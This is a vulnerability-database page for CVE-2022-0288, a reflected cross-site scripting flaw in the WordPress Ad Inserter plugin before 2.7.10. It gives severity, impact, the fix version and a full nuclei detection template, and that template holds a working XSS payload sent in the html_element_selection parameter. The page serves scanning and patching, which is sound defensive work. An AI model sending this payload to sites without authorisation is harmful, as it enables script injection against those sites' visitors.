HexBrain

Browse / CVEs / CVE-2022-0288

CVE-2022-0288· ad inserter pro project / ad inserter pro· CWE-79

WordPress Ad Inserter <2.7.10 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.

Impact

Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing attackers to execute malicious scripts in the context of the victim's browser.

Fix

Fixed in version 2.7.12

How to confirm it

Send: POST {{BaseURL}}
Positive when: contains "</script><img src onerror=alert(document.domain)>" and "ad-inserter" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0288 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-0288

info:
  name: WordPress Ad Inserter <2.7.10 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing attackers to execute malicious scripts in the context of the victim's browser.
  remediation: Fixed in version 2.7.12
  reference:
    - https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0288
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0288
    cwe-id: CWE-79
    epss-score: 0.02061
    epss-percentile: 0.81498
    cpe: cpe:2.3:a:ad_inserter_pro_project:ad_inserter_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: ad_inserter_pro_project
    product: ad_inserter_pro
    framework: wordpress
  tags: cve,cve2022,wordpress,xss,wpscan,ad_inserter_pro_project,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}"

    body: |
      html_element_selection=</script><img+src+onerror=alert(document.domain)>

    headers:
      Content-Type: "application/x-www-form-urlencoded"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><img src onerror=alert(document.domain)>"
          - "ad-inserter"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from